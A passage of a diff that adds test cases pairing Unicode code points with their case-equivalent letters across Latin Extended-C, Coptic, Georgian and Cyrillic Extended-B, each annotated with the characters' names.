+test(0x2C64, 0x027D); // LATIN CAPITAL LETTER R WITH TAIL, LATIN SMALL LETTER R WITH TAIL (LATIN SMALL LETTER R HOOK)
+test(0x2C65, 0x023A); // LATIN SMALL LETTER A WITH STROKE, LATIN CAPITAL LETTER A WITH STROKE
+test(0x2C66, 0x023E); // LATIN SMALL LETTER T WITH DIAGONAL STROKE, LATIN CAPITAL LETTER T WITH DIAGONAL STROKE
+test(0x2C67, 0x2C68); // LATIN CAPITAL LETTER H WITH DESCENDER, LATIN SMALL LETTER H WITH DESCENDER
+test(0x2C68, 0x2C67); // LATIN SMALL LETTER H WITH DESCENDER, LATIN CAPITAL LETTER H WITH DESCENDER
+test(0x2C69, 0x2C6A); // LATIN CAPITAL LETTER K WITH DESCENDER, LATIN SMALL LETTER K WITH DESCENDER
+test(0x2C6A, 0x2C69); // LATIN SMALL LETTER K WITH DESCENDER, LATIN CAPITAL LETTER K WITH DESCENDER
+test(0x2C6B, 0x2C6C); // LATIN CAPITAL LETTER Z WITH DESCENDER, LATIN SMALL LETTER Z WITH DESCENDER
+test(0x2C6C, 0x2C6B); // LATIN SMALL LETTER Z WITH DESCENDER, LATIN CAPITAL LETTER Z WITH DESCENDER
+test(0x2C6D, 0x0251); // LATIN CAPITAL LETTER ALPHA, LATIN SMALL LETTER ALPHA (LATIN SMALL LETTER SCRIPT A)
+test(0x2C6E, 0x0271); // LATIN CAPITAL LETTER M WITH HOOK, LATIN SMALL LETTER M WITH HOOK (LATIN SMALL LETTER M HOOK)
+test(0x2C6F, 0x0250); // LATIN CAPITAL LETTER TURNED A, LATIN SMALL LETTER TURNED A
+test(0x2C70, 0x0252); // LATIN CAPITAL LETTER TURNED ALPHA, LATIN SMALL LETTER TURNED ALPHA (LATIN SMALL LETTER TURNED SCRIPT A)
+test(0x2C72, 0x2C73); // LATIN CAPITAL LETTER W WITH HOOK, LATIN SMALL LETTER W WITH HOOK
+test(0x2C73, 0x2C72); // LATIN SMALL LETTER W WITH HOOK, LATIN CAPITAL LETTER W WITH HOOK
+test(0x2C75, 0x2C76); // LATIN CAPITAL LETTER HALF H, LATIN SMALL LETTER HALF H
+test(0x2C76, 0x2C75); // LATIN SMALL LETTER HALF H, LATIN CAPITAL LETTER HALF H
+test(0x2C7E, 0x023F); // LATIN CAPITAL LETTER S WITH SWASH TAIL, LATIN SMALL LETTER S WITH SWASH TAIL
+test(0x2C7F, 0x0240); // LATIN CAPITAL LETTER Z WITH SWASH TAIL, LATIN SMALL LETTER Z WITH SWASH TAIL
+test(0x2C80, 0x2C81); // COPTIC CAPITAL LETTER ALFA, COPTIC SMALL LETTER ALFA
+test(0x2C81, 0x2C80); // COPTIC SMALL LETTER ALFA, COPTIC CAPITAL LETTER ALFA
+test(0x2C82, 0x2C83); // COPTIC CAPITAL LETTER VIDA, COPTIC SMALL LETTER VIDA
+test(0x2C83, 0x2C82); // COPTIC SMALL LETTER VIDA, COPTIC CAPITAL LETTER VIDA
+test(0x2C84, 0x2C85); // COPTIC CAPITAL LETTER GAMMA, COPTIC SMALL LETTER GAMMA
+test(0x2C85, 0x2C84); // COPTIC SMALL LETTER GAMMA, COPTIC CAPITAL LETTER GAMMA
+test(0x2C86, 0x2C87); // COPTIC CAPITAL LETTER DALDA, COPTIC SMALL LETTER DALDA
+test(0x2C87, 0x2C86); // COPTIC SMALL LETTER DALDA, COPTIC CAPITAL LETTER DALDA
+test(0x2C88, 0x2C89); // COPTIC CAPITAL LETTER EIE, COPTIC SMALL LETTER EIE
+test(0x2C89, 0x2C88); // COPTIC SMALL LETTER EIE, COPTIC CAPITAL LETTER EIE
+test(0x2C8A, 0x2C8B); // COPTIC CAPITAL LETTER SOU, COPTIC SMALL LETTER SOU
+test(0x2C8B, 0x2C8A); // COPTIC SMALL LETTER SOU, COPTIC CAPITAL LETTER SOU
+test(0x2C8C, 0x2C8D); // COPTIC CAPITAL LETTER ZATA, COPTIC SMALL LETTER ZATA
+test(0x2C8D, 0x2C8C); // COPTIC SMALL LETTER ZATA, COPTIC CAPITAL LETTER ZATA
+test(0x2C8E, 0x2C8F); // COPTIC CAPITAL LETTER HATE, COPTIC SMALL LETTER HATE
+test(0x2C8F, 0x2C8E); // COPTIC SMALL LETTER HATE, COPTIC CAPITAL LETTER HATE
+test(0x2C90, 0x2C91); // COPTIC CAPITAL LETTER THETHE, COPTIC SMALL LETTER THETHE
+test(0x2C91, 0x2C90); // COPTIC SMALL LETTER THETHE, COPTIC CAPITAL LETTER THETHE
+test(0x2C92, 0x2C93); // COPTIC CAPITAL LETTER IAUDA, COPTIC SMALL LETTER IAUDA
+test(0x2C93, 0x2C92); // COPTIC SMALL LETTER IAUDA, COPTIC CAPITAL LETTER IAUDA
+test(0x2C94, 0x2C95); // COPTIC CAPITAL LETTER KAPA, COPTIC SMALL LETTER KAPA
+test(0x2C95, 0x2C94); // COPTIC SMALL LETTER KAPA, COPTIC CAPITAL LETTER KAPA
+test(0x2C96, 0x2C97); // COPTIC CAPITAL LETTER LAULA, COPTIC SMALL LETTER LAULA
+test(0x2C97, 0x2C96); // COPTIC SMALL LETTER LAULA, COPTIC CAPITAL LETTER LAULA
+test(0x2C98, 0x2C99); // COPTIC CAPITAL LETTER MI, COPTIC SMALL LETTER MI
+test(0x2C99, 0x2C98); // COPTIC SMALL LETTER MI, COPTIC CAPITAL LETTER MI
+test(0x2C9A, 0x2C9B); // COPTIC CAPITAL LETTER NI, COPTIC SMALL LETTER NI
+test(0x2C9B, 0x2C9A); // COPTIC SMALL LETTER NI, COPTIC CAPITAL LETTER NI
+test(0x2C9C, 0x2C9D); // COPTIC CAPITAL LETTER KSI, COPTIC SMALL LETTER KSI
+test(0x2C9D, 0x2C9C); // COPTIC SMALL LETTER KSI, COPTIC CAPITAL LETTER KSI
+test(0x2C9E, 0x2C9F); // COPTIC CAPITAL LETTER O, COPTIC SMALL LETTER O
+test(0x2C9F, 0x2C9E); // COPTIC SMALL LETTER O, COPTIC CAPITAL LETTER O
+test(0x2CA0, 0x2CA1); // COPTIC CAPITAL LETTER PI, COPTIC SMALL LETTER PI
+test(0x2CA1, 0x2CA0); // COPTIC SMALL LETTER PI, COPTIC CAPITAL LETTER PI
+test(0x2CA2, 0x2CA3); // COPTIC CAPITAL LETTER RO, COPTIC SMALL LETTER RO
+test(0x2CA3, 0x2CA2); // COPTIC SMALL LETTER RO, COPTIC CAPITAL LETTER RO
+test(0x2CA4, 0x2CA5); // COPTIC CAPITAL LETTER SIMA, COPTIC SMALL LETTER SIMA
+test(0x2CA5, 0x2CA4); // COPTIC SMALL LETTER SIMA, COPTIC CAPITAL LETTER SIMA
+test(0x2CA6, 0x2CA7); // COPTIC CAPITAL LETTER TAU, COPTIC SMALL LETTER TAU
+test(0x2CA7, 0x2CA6); // COPTIC SMALL LETTER TAU, COPTIC CAPITAL LETTER TAU
+test(0x2CA8, 0x2CA9); // COPTIC CAPITAL LETTER UA, COPTIC SMALL LETTER UA
+test(0x2CA9, 0x2CA8); // COPTIC SMALL LETTER UA, COPTIC CAPITAL LETTER UA
+test(0x2CAA, 0x2CAB); // COPTIC CAPITAL LETTER FI, COPTIC SMALL LETTER FI
+test(0x2CAB, 0x2CAA); // COPTIC SMALL LETTER FI, COPTIC CAPITAL LETTER FI
+test(0x2CAC, 0x2CAD); // COPTIC CAPITAL LETTER KHI, COPTIC SMALL LETTER KHI
+test(0x2CAD, 0x2CAC); // COPTIC SMALL LETTER KHI, COPTIC CAPITAL LETTER KHI
+test(0x2CAE, 0x2CAF); // COPTIC CAPITAL LETTER PSI, COPTIC SMALL LETTER PSI
+test(0x2CAF, 0x2CAE); // COPTIC SMALL LETTER PSI, COPTIC CAPITAL LETTER PSI
+test(0x2CB0, 0x2CB1); // COPTIC CAPITAL LETTER OOU, COPTIC SMALL LETTER OOU
+test(0x2CB1, 0x2CB0); // COPTIC SMALL LETTER OOU, COPTIC CAPITAL LETTER OOU
+test(0x2CB2, 0x2CB3); // COPTIC CAPITAL LETTER DIALECT-P ALEF, COPTIC SMALL LETTER DIALECT-P ALEF
+test(0x2CB3, 0x2CB2); // COPTIC SMALL LETTER DIALECT-P ALEF, COPTIC CAPITAL LETTER DIALECT-P ALEF
+test(0x2CB4, 0x2CB5); // COPTIC CAPITAL LETTER OLD COPTIC AIN, COPTIC SMALL LETTER OLD COPTIC AIN
+test(0x2CB5, 0x2CB4); // COPTIC SMALL LETTER OLD COPTIC AIN, COPTIC CAPITAL LETTER OLD COPTIC AIN
+test(0x2CB6, 0x2CB7); // COPTIC CAPITAL LETTER CRYPTOGRAMMIC EIE, COPTIC SMALL LETTER CRYPTOGRAMMIC EIE
+test(0x2CB7, 0x2CB6); // COPTIC SMALL LETTER CRYPTOGRAMMIC EIE, COPTIC CAPITAL LETTER CRYPTOGRAMMIC EIE
+test(0x2CB8, 0x2CB9); // COPTIC CAPITAL LETTER DIALECT-P KAPA, COPTIC SMALL LETTER DIALECT-P KAPA
+test(0x2CB9, 0x2CB8); // COPTIC SMALL LETTER DIALECT-P KAPA, COPTIC CAPITAL LETTER DIALECT-P KAPA
+test(0x2CBA, 0x2CBB); // COPTIC CAPITAL LETTER DIALECT-P NI, COPTIC SMALL LETTER DIALECT-P NI
+test(0x2CBB, 0x2CBA); // COPTIC SMALL LETTER DIALECT-P NI, COPTIC CAPITAL LETTER DIALECT-P NI
+test(0x2CBC, 0x2CBD); // COPTIC CAPITAL LETTER CRYPTOGRAMMIC NI, COPTIC SMALL LETTER CRYPTOGRAMMIC NI
+test(0x2CBD, 0x2CBC); // COPTIC SMALL LETTER CRYPTOGRAMMIC NI, COPTIC CAPITAL LETTER CRYPTOGRAMMIC NI
+test(0x2CBE, 0x2CBF); // COPTIC CAPITAL LETTER OLD COPTIC OOU, COPTIC SMALL LETTER OLD COPTIC OOU
+test(0x2CBF, 0x2CBE); // COPTIC SMALL LETTER OLD COPTIC OOU, COPTIC CAPITAL LETTER OLD COPTIC OOU
+test(0x2CC0, 0x2CC1); // COPTIC CAPITAL LETTER SAMPI, COPTIC SMALL LETTER SAMPI
+test(0x2CC1, 0x2CC0); // COPTIC SMALL LETTER SAMPI, COPTIC CAPITAL LETTER SAMPI
+test(0x2CC2, 0x2CC3); // COPTIC CAPITAL LETTER CROSSED SHEI, COPTIC SMALL LETTER CROSSED SHEI
+test(0x2CC3, 0x2CC2); // COPTIC SMALL LETTER CROSSED SHEI, COPTIC CAPITAL LETTER CROSSED SHEI
+test(0x2CC4, 0x2CC5); // COPTIC CAPITAL LETTER OLD COPTIC SHEI, COPTIC SMALL LETTER OLD COPTIC SHEI
+test(0x2CC5, 0x2CC4); // COPTIC SMALL LETTER OLD COPTIC SHEI, COPTIC CAPITAL LETTER OLD COPTIC SHEI
+test(0x2CC6, 0x2CC7); // COPTIC CAPITAL LETTER OLD COPTIC ESH, COPTIC SMALL LETTER OLD COPTIC ESH
+test(0x2CC7, 0x2CC6); // COPTIC SMALL LETTER OLD COPTIC ESH, COPTIC CAPITAL LETTER OLD COPTIC ESH
+test(0x2CC8, 0x2CC9); // COPTIC CAPITAL LETTER AKHMIMIC KHEI, COPTIC SMALL LETTER AKHMIMIC KHEI
+test(0x2CC9, 0x2CC8); // COPTIC SMALL LETTER AKHMIMIC KHEI, COPTIC CAPITAL LETTER AKHMIMIC KHEI
+test(0x2CCA, 0x2CCB); // COPTIC CAPITAL LETTER DIALECT-P HORI, COPTIC SMALL LETTER DIALECT-P HORI
+test(0x2CCB, 0x2CCA); // COPTIC SMALL LETTER DIALECT-P HORI, COPTIC CAPITAL LETTER DIALECT-P HORI
+test(0x2CCC, 0x2CCD); // COPTIC CAPITAL LETTER OLD COPTIC HORI, COPTIC SMALL LETTER OLD COPTIC HORI
+test(0x2CCD, 0x2CCC); // COPTIC SMALL LETTER OLD COPTIC HORI, COPTIC CAPITAL LETTER OLD COPTIC HORI
+test(0x2CCE, 0x2CCF); // COPTIC CAPITAL LETTER OLD COPTIC HA, COPTIC SMALL LETTER OLD COPTIC HA
+test(0x2CCF, 0x2CCE); // COPTIC SMALL LETTER OLD COPTIC HA, COPTIC CAPITAL LETTER OLD COPTIC HA
+test(0x2CD0, 0x2CD1); // COPTIC CAPITAL LETTER L-SHAPED HA, COPTIC SMALL LETTER L-SHAPED HA
+test(0x2CD1, 0x2CD0); // COPTIC SMALL LETTER L-SHAPED HA, COPTIC CAPITAL LETTER L-SHAPED HA
+test(0x2CD2, 0x2CD3); // COPTIC CAPITAL LETTER OLD COPTIC HEI, COPTIC SMALL LETTER OLD COPTIC HEI
+test(0x2CD3, 0x2CD2); // COPTIC SMALL LETTER OLD COPTIC HEI, COPTIC CAPITAL LETTER OLD COPTIC HEI
+test(0x2CD4, 0x2CD5); // COPTIC CAPITAL LETTER OLD COPTIC HAT, COPTIC SMALL LETTER OLD COPTIC HAT
+test(0x2CD5, 0x2CD4); // COPTIC SMALL LETTER OLD COPTIC HAT, COPTIC CAPITAL LETTER OLD COPTIC HAT
+test(0x2CD6, 0x2CD7); // COPTIC CAPITAL LETTER OLD COPTIC GANGIA, COPTIC SMALL LETTER OLD COPTIC GANGIA
+test(0x2CD7, 0x2CD6); // COPTIC SMALL LETTER OLD COPTIC GANGIA, COPTIC CAPITAL LETTER OLD COPTIC GANGIA
+test(0x2CD8, 0x2CD9); // COPTIC CAPITAL LETTER OLD COPTIC DJA, COPTIC SMALL LETTER OLD COPTIC DJA
+test(0x2CD9, 0x2CD8); // COPTIC SMALL LETTER OLD COPTIC DJA, COPTIC CAPITAL LETTER OLD COPTIC DJA
+test(0x2CDA, 0x2CDB); // COPTIC CAPITAL LETTER OLD COPTIC SHIMA, COPTIC SMALL LETTER OLD COPTIC SHIMA
+test(0x2CDB, 0x2CDA); // COPTIC SMALL LETTER OLD COPTIC SHIMA, COPTIC CAPITAL LETTER OLD COPTIC SHIMA
+test(0x2CDC, 0x2CDD); // COPTIC CAPITAL LETTER OLD NUBIAN SHIMA, COPTIC SMALL LETTER OLD NUBIAN SHIMA
+test(0x2CDD, 0x2CDC); // COPTIC SMALL LETTER OLD NUBIAN SHIMA, COPTIC CAPITAL LETTER OLD NUBIAN SHIMA
+test(0x2CDE, 0x2CDF); // COPTIC CAPITAL LETTER OLD NUBIAN NGI, COPTIC SMALL LETTER OLD NUBIAN NGI
+test(0x2CDF, 0x2CDE); // COPTIC SMALL LETTER OLD NUBIAN NGI, COPTIC CAPITAL LETTER OLD NUBIAN NGI
+test(0x2CE0, 0x2CE1); // COPTIC CAPITAL LETTER OLD NUBIAN NYI, COPTIC SMALL LETTER OLD NUBIAN NYI
+test(0x2CE1, 0x2CE0); // COPTIC SMALL LETTER OLD NUBIAN NYI, COPTIC CAPITAL LETTER OLD NUBIAN NYI
+test(0x2CE2, 0x2CE3); // COPTIC CAPITAL LETTER OLD NUBIAN WAU, COPTIC SMALL LETTER OLD NUBIAN WAU
+test(0x2CE3, 0x2CE2); // COPTIC SMALL LETTER OLD NUBIAN WAU, COPTIC CAPITAL LETTER OLD NUBIAN WAU
+test(0x2CEB, 0x2CEC); // COPTIC CAPITAL LETTER CRYPTOGRAMMIC SHEI, COPTIC SMALL LETTER CRYPTOGRAMMIC SHEI
+test(0x2CEC, 0x2CEB); // COPTIC SMALL LETTER CRYPTOGRAMMIC SHEI, COPTIC CAPITAL LETTER CRYPTOGRAMMIC SHEI
+test(0x2CED, 0x2CEE); // COPTIC CAPITAL LETTER CRYPTOGRAMMIC GANGIA, COPTIC SMALL LETTER CRYPTOGRAMMIC GANGIA
+test(0x2CEE, 0x2CED); // COPTIC SMALL LETTER CRYPTOGRAMMIC GANGIA, COPTIC CAPITAL LETTER CRYPTOGRAMMIC GANGIA
+test(0x2CF2, 0x2CF3); // COPTIC CAPITAL LETTER BOHAIRIC KHEI, COPTIC SMALL LETTER BOHAIRIC KHEI
+test(0x2CF3, 0x2CF2); // COPTIC SMALL LETTER BOHAIRIC KHEI, COPTIC CAPITAL LETTER BOHAIRIC KHEI
+test(0x2D00, 0x10A0); // GEORGIAN SMALL LETTER AN, GEORGIAN CAPITAL LETTER AN
+test(0x2D01, 0x10A1); // GEORGIAN SMALL LETTER BAN, GEORGIAN CAPITAL LETTER BAN
+test(0x2D02, 0x10A2); // GEORGIAN SMALL LETTER GAN, GEORGIAN CAPITAL LETTER GAN
+test(0x2D03, 0x10A3); // GEORGIAN SMALL LETTER DON, GEORGIAN CAPITAL LETTER DON
+test(0x2D04, 0x10A4); // GEORGIAN SMALL LETTER EN, GEORGIAN CAPITAL LETTER EN
+test(0x2D05, 0x10A5); // GEORGIAN SMALL LETTER VIN, GEORGIAN CAPITAL LETTER VIN
+test(0x2D06, 0x10A6); // GEORGIAN SMALL LETTER ZEN, GEORGIAN CAPITAL LETTER ZEN
+test(0x2D07, 0x10A7); // GEORGIAN SMALL LETTER TAN, GEORGIAN CAPITAL LETTER TAN
+test(0x2D08, 0x10A8); // GEORGIAN SMALL LETTER IN, GEORGIAN CAPITAL LETTER IN
+test(0x2D09, 0x10A9); // GEORGIAN SMALL LETTER KAN, GEORGIAN CAPITAL LETTER KAN
+test(0x2D0A, 0x10AA); // GEORGIAN SMALL LETTER LAS, GEORGIAN CAPITAL LETTER LAS
+test(0x2D0B, 0x10AB); // GEORGIAN SMALL LETTER MAN, GEORGIAN CAPITAL LETTER MAN
+test(0x2D0C, 0x10AC); // GEORGIAN SMALL LETTER NAR, GEORGIAN CAPITAL LETTER NAR
+test(0x2D0D, 0x10AD); // GEORGIAN SMALL LETTER ON, GEORGIAN CAPITAL LETTER ON
+test(0x2D0E, 0x10AE); // GEORGIAN SMALL LETTER PAR, GEORGIAN CAPITAL LETTER PAR
+test(0x2D0F, 0x10AF); // GEORGIAN SMALL LETTER ZHAR, GEORGIAN CAPITAL LETTER ZHAR
+test(0x2D10, 0x10B0); // GEORGIAN SMALL LETTER RAE, GEORGIAN CAPITAL LETTER RAE
+test(0x2D11, 0x10B1); // GEORGIAN SMALL LETTER SAN, GEORGIAN CAPITAL LETTER SAN
+test(0x2D12, 0x10B2); // GEORGIAN SMALL LETTER TAR, GEORGIAN CAPITAL LETTER TAR
+test(0x2D13, 0x10B3); // GEORGIAN SMALL LETTER UN, GEORGIAN CAPITAL LETTER UN
+test(0x2D14, 0x10B4); // GEORGIAN SMALL LETTER PHAR, GEORGIAN CAPITAL LETTER PHAR
+test(0x2D15, 0x10B5); // GEORGIAN SMALL LETTER KHAR, GEORGIAN CAPITAL LETTER KHAR
+test(0x2D16, 0x10B6); // GEORGIAN SMALL LETTER GHAN, GEORGIAN CAPITAL LETTER GHAN
+test(0x2D17, 0x10B7); // GEORGIAN SMALL LETTER QAR, GEORGIAN CAPITAL LETTER QAR
+test(0x2D18, 0x10B8); // GEORGIAN SMALL LETTER SHIN, GEORGIAN CAPITAL LETTER SHIN
+test(0x2D19, 0x10B9); // GEORGIAN SMALL LETTER CHIN, GEORGIAN CAPITAL LETTER CHIN
+test(0x2D1A, 0x10BA); // GEORGIAN SMALL LETTER CAN, GEORGIAN CAPITAL LETTER CAN
+test(0x2D1B, 0x10BB); // GEORGIAN SMALL LETTER JIL, GEORGIAN CAPITAL LETTER JIL
+test(0x2D1C, 0x10BC); // GEORGIAN SMALL LETTER CIL, GEORGIAN CAPITAL LETTER CIL
+test(0x2D1D, 0x10BD); // GEORGIAN SMALL LETTER CHAR, GEORGIAN CAPITAL LETTER CHAR
+test(0x2D1E, 0x10BE); // GEORGIAN SMALL LETTER XAN, GEORGIAN CAPITAL LETTER XAN
+test(0x2D1F, 0x10BF); // GEORGIAN SMALL LETTER JHAN, GEORGIAN CAPITAL LETTER JHAN
+test(0x2D20, 0x10C0); // GEORGIAN SMALL LETTER HAE, GEORGIAN CAPITAL LETTER HAE
+test(0x2D21, 0x10C1); // GEORGIAN SMALL LETTER HE, GEORGIAN CAPITAL LETTER HE
+test(0x2D22, 0x10C2); // GEORGIAN SMALL LETTER HIE, GEORGIAN CAPITAL LETTER HIE
+test(0x2D23, 0x10C3); // GEORGIAN SMALL LETTER WE, GEORGIAN CAPITAL LETTER WE
+test(0x2D24, 0x10C4); // GEORGIAN SMALL LETTER HAR, GEORGIAN CAPITAL LETTER HAR
+test(0x2D25, 0x10C5); // GEORGIAN SMALL LETTER HOE, GEORGIAN CAPITAL LETTER HOE
+test(0x2D27, 0x10C7); // GEORGIAN SMALL LETTER YN, GEORGIAN CAPITAL LETTER YN
+test(0x2D2D, 0x10CD); // GEORGIAN SMALL LETTER AEN, GEORGIAN CAPITAL LETTER AEN
+test(0xA640, 0xA641); // CYRILLIC CAPITAL LETTER ZEMLYA, CYRILLIC SMALL LETTER ZEMLYA
+test(0xA641, 0xA640); // CYRILLIC SMALL LETTER ZEMLYA, CYRILLIC CAPITAL LETTER ZEMLYA
+test(0xA642, 0xA643); // CYRILLIC CAPITAL LETTER DZELO, CYRILLIC SMALL LETTER DZELO
+test(0xA643, 0xA642); // CYRILLIC SMALL LETTER DZELO, CYRILLIC CAPITAL LETTER DZELO
+test(0xA644, 0xA645); // CYRILLIC CAPITAL LETTER REVERSED DZE, CYRILLIC SMALL LETTER REVERSED DZE
+test(0xA645, 0xA644); // CYRILLIC SMALL LETTER REVERSED DZE, CYRILLIC CAPITAL LETTER REVERSED DZE
+test(0xA646, 0xA647); // CYRILLIC CAPITAL LETTER IOTA, CYRILLIC SMALL LETTER IOTA
+test(0xA647, 0xA646); // CYRILLIC SMALL LETTER IOTA, CYRILLIC CAPITAL LETTER IOTA
+test(0xA648, 0xA649); // CYRILLIC CAPITAL LETTER DJERV, CYRILLIC SMALL LETTER DJERV
+test(0xA649, 0xA648); // CYRILLIC SMALL LETTER DJERV, CYRILLIC CAPITAL LETTER DJERV
+test(0xA64A, 0xA64B, 0x1C88); // CYRILLIC CAPITAL LETTER MONOGRAPH UK, CYRILLIC SMALL LETTER MONOGRAPH UK, CYRILLIC SMALL LETTER UNBLENDED UK
+test(0xA64B, 0x1C88, 0xA64A); // CYRILLIC SMALL LETTER MONOGRAPH UK, CYRILLIC SMALL LETTER UNBLENDED UK, CYRILLIC CAPITAL LETTER MONOGRAPH UK
+test(0xA64C, 0xA64D); // CYRILLIC CAPITAL LETTER BROAD OMEGA, CYRILLIC SMALL LETTER BROAD OMEGA
+test(0xA64D, 0xA64C); // CYRILLIC SMALL LETTER BROAD OMEGA, CYRILLIC CAPITAL LETTER BROAD OMEGA
+test(0xA64E, 0xA64F); // CYRILLIC CAPITAL LETTER NEUTRAL YER, CYRILLIC SMALL LETTER NEUTRAL YER
+test(0xA64F, 0xA64E); // CYRILLIC SMALL LETTER NEUTRAL YER, CYRILLIC CAPITAL LETTER NEUTRAL YER
+test(0xA650, 0xA651); // CYRILLIC CAPITAL LETTER YERU WITH BACK YER, CYRILLIC SMALL LETTER YERU WITH BACK YER
+test(0xA651, 0xA650); // CYRILLIC SMALL LETTER YERU WITH BACK YER, CYRILLIC CAPITAL LETTER YERU WITH BACK YER
+test(0xA652, 0xA653); // CYRILLIC CAPITAL LETTER IOTIFIED YAT, CYRILLIC SMALL LETTER IOTIFIED YAT
+test(0xA653, 0xA652); // CYRILLIC SMALL LETTER IOTIFIED YAT, CYRILLIC CAPITAL LETTER IOTIFIED YAT
+test(0xA654, 0xA655); // CYRILLIC CAPITAL LETTER REVERSED YU, CYRILLIC SMALL LETTER REVERSED YU
+test(0xA655, 0xA654); // CYRILLIC SMALL LETTER REVERSED YU, CYRILLIC CAPITAL LETTER REVERSED YU
+test(0xA656, 0xA657); // CYRILLIC CAPITAL LETTER IOTIFIED A, CYRILLIC SMALL LETTER IOTIFIED A
+test(0xA657, 0xA656); // CYRILLIC SMALL LETTER IOTIFIED A, CYRILLIC CAPITAL LETTER IOTIFIED A
+test(0xA658, 0xA659); // CYRILLIC CAPITAL LETTER CLOSED LITTLE YUS, CYRILLIC SMALL LETTER CLOSED LITTLE YUS
+test(0xA659, 0xA658); // CYRILLIC SMALL LETTER CLOSED LITTLE YUS, CYRILLIC CAPITAL LETTER CLOSED LITTLE YUS
+test(0xA65A, 0xA65B); // CYRILLIC CAPITAL LETTER BLENDED YUS, CYRILLIC SMALL LETTER BLENDED YUS
+test(0xA65B, 0xA65A); // CYRILLIC SMALL LETTER BLENDED YUS, CYRILLIC CAPITAL LETTER BLENDED YUS
+test(0xA65C, 0xA65D); // CYRILLIC CAPITAL LETTER IOTIFIED CLOSED LITTLE YUS, CYRILLIC SMALL LETTER IOTIFIED CLOSED LITTLE YUS
+test(0xA65D, 0xA65C); // CYRILLIC SMALL LETTER IOTIFIED CLOSED LITTLE YUS, CYRILLIC CAPITAL LETTER IOTIFIED CLOSED LITTLE YUS
+test(0xA65E, 0xA65F); // CYRILLIC CAPITAL LETTER YN, CYRILLIC SMALL LETTER YN
+test(0xA65F, 0xA65E); // CYRILLIC SMALL LETTER YN, CYRILLIC CAPITAL LETTER YN
+test(0xA660, 0xA661); // CYRILLIC CAPITAL LETTER REVERSED TSE, CYRILLIC SMALL LETTER REVERSED TSE
+test(0xA661, 0xA660); // CYRILLIC SMALL LETTER REVERSED TSE, CYRILLIC CAPITAL LETTER REVERSED TSE
+test(0xA662, 0xA663); // CYRILLIC CAPITAL LETTER SOFT DE, CYRILLIC SMALL LETTER SOFT DE
+test(0xA663, 0xA662); // CYRILLIC SMALL LETTER SOFT DE, CYRILLIC CAPITAL LETTER SOFT DE
+test(0xA664, 0xA665); // CYRILLIC CAPITAL LETTER SOFT EL, CYRILLIC SMALL LETTER SOFT EL
+test(0xA665, 0xA664); // CYRILLIC SMALL LETTER SOFT EL, CYRILLIC CAPITAL LETTER SOFT EL
+test(0xA666, 0xA667); // CYRILLIC CAPITAL LETTER SOFT EM, CYRILLIC SMALL LETTER SOFT EM
+test(0xA667, 0xA666); // CYRILLIC SMALL LETTER SOFT EM, CYRILLIC CAPITAL LETTER SOFT EM
+test(0xA668, 0xA669); // CYRILLIC CAPITAL LETTER MONOCULAR O, CYRILLIC SMALL LETTER MONOCULAR O
+test(0xA669, 0xA668); // CYRILLIC SMALL LETTER MONOCULAR O, CYRILLIC CAPITAL LETTER MONOCULAR O
+test(0xA66A, 0xA66B); // CYRILLIC CAPITAL LETTER BINOCULAR O, CYRILLIC SMALL LETTER BINOCULAR O
+test(0xA66B, 0xA66A); // CYRILLIC SMALL LETTER BINOCULAR O, CYRILLIC CAPITAL LETTER BINOCULAR O
+test(0xA66C, 0xA66D); // CYRILLIC CAPITAL LETTER DOUBLE MONOCULAR O, CYRILLIC SMALL LETTER DOUBLE MONOCULAR O
+test(0xA66D, 0xA66C); // CYRILLIC SMALL LETTER DOUBLE MONOCULAR O, CYRILLIC CAPITAL LETTER DOUBLE MONOCULAR O
+test(0xA680, 0xA681); // CYRILLIC CAPITAL LETTER DWE, CYRILLIC SMALL LETTER DWE
+test(0xA681, 0xA680); // CYRILLIC SMALL LETTER DWE, CYRILLIC CAPITAL LETTER DWE
+test(0xA682, 0xA683); // CYRILLIC CAPITAL LETTER DZWE, CYRILLIC SMALL LETTER DZWE
+test(0xA683, 0xA682); // CYRILLIC SMALL LETTER DZWE, CYRILLIC CAPITAL LETTER DZWE
+test(0xA684, 0xA685); // CYRILLIC CAPITAL LETTER ZHWE, CYRILLIC SMALL LETTER ZHWE
+test(0xA685, 0xA684); // CYRILLIC SMALL LETTER ZHWE, CYRILLIC CAPITAL LETTER ZHWE
+test(0xA686, 0xA687); // CYRILLIC CAPITAL LETTER CCHE, CYRILLIC SMALL LETTER CCHE
+test(0xA687, 0xA686); // CYRILLIC SMALL LETTER CCHE, CYRILLIC CAPITAL LETTER CCHE
+test(0xA688, 0xA689); // CYRILLIC CAPITAL LETTER DZZE, CYRILLIC SMALL LETTER DZZE
+test(0xA689, 0xA688); // CYRILLIC SMALL LETTER DZZE, CYRILLIC CAPITAL LETTER DZZE
+test(0xA68A, 0xA68B); // CYRILLIC CAPITAL LETTER TE WITH MIDDLE HOOK, CYRILLIC SMALL LETTER TE WITH MIDDLE HOOK
+test(0xA68B, 0xA68A); // CYRILLIC SMALL LETTER TE WITH MIDDLE HOOK, CYRILLIC CAPITAL LETTER TE WITH MIDDLE HOOK
+test(0xA68C, 0xA68D); // CYRILLIC CAPITAL LETTER TWE, CYRILLIC SMALL LETTER TWE
+test(0xA68D, 0xA68C); // CYRILLIC SMALL LETTER TWE, CYRILLIC CAPITAL LETTER TWE
+test(0xA68E, 0xA68F); // CYRILLIC CAPITAL LETTER TSWE, CYRILLIC SMALL LETTER TSWE
+test(0xA68F, 0xA68E); // CYRILLIC SMALL LETTER TSWE, CYRILLIC CAPITAL LETTER TSWE
+test(0xA690, 0xA691); // CYRILLIC CAPITAL LETTER TSSE, CYRILLIC SMALL LETTER TSSE
+test(0xA691, 0xA690); // CYRILLIC SMALL LETTER TSSE, CYRILLIC CAPITAL LETTER TSSE
+test(0xA692, 0xA693); // CYRILLIC CAPITAL LETTER TCHE, CYRILLIC SMALL LETTER TCHE
+test(0xA693, 0xA692); // CYRILLIC SMALL LETTER TCHE, CYRILLIC CAPITAL LETTER TCHE
+test(0xA694, 0xA695); // CYRILLIC CAPITAL LETTER HWE, CYRILLIC SMALL LETTER HWE
+test(0xA695, 0xA694); // CYRILLIC SMALL LETTER HWE, CYRILLIC CAPITAL LETTER HWE
+test(0xA696, 0xA697); // CYRILLIC CAPITAL LETTER SHWE, CYRILLIC SMALL LETTER SHWE
+test(0xA697, 0xA696); // CYRILLIC SMALL LETTER SHWE, CYRILLIC CAPITAL LETTER SHWE
+test(0xA698, 0xA699); // CYRILLIC CAPITAL LETTER DOUBLE O, CYRILLIC SMALL LETTER DOUBLE O
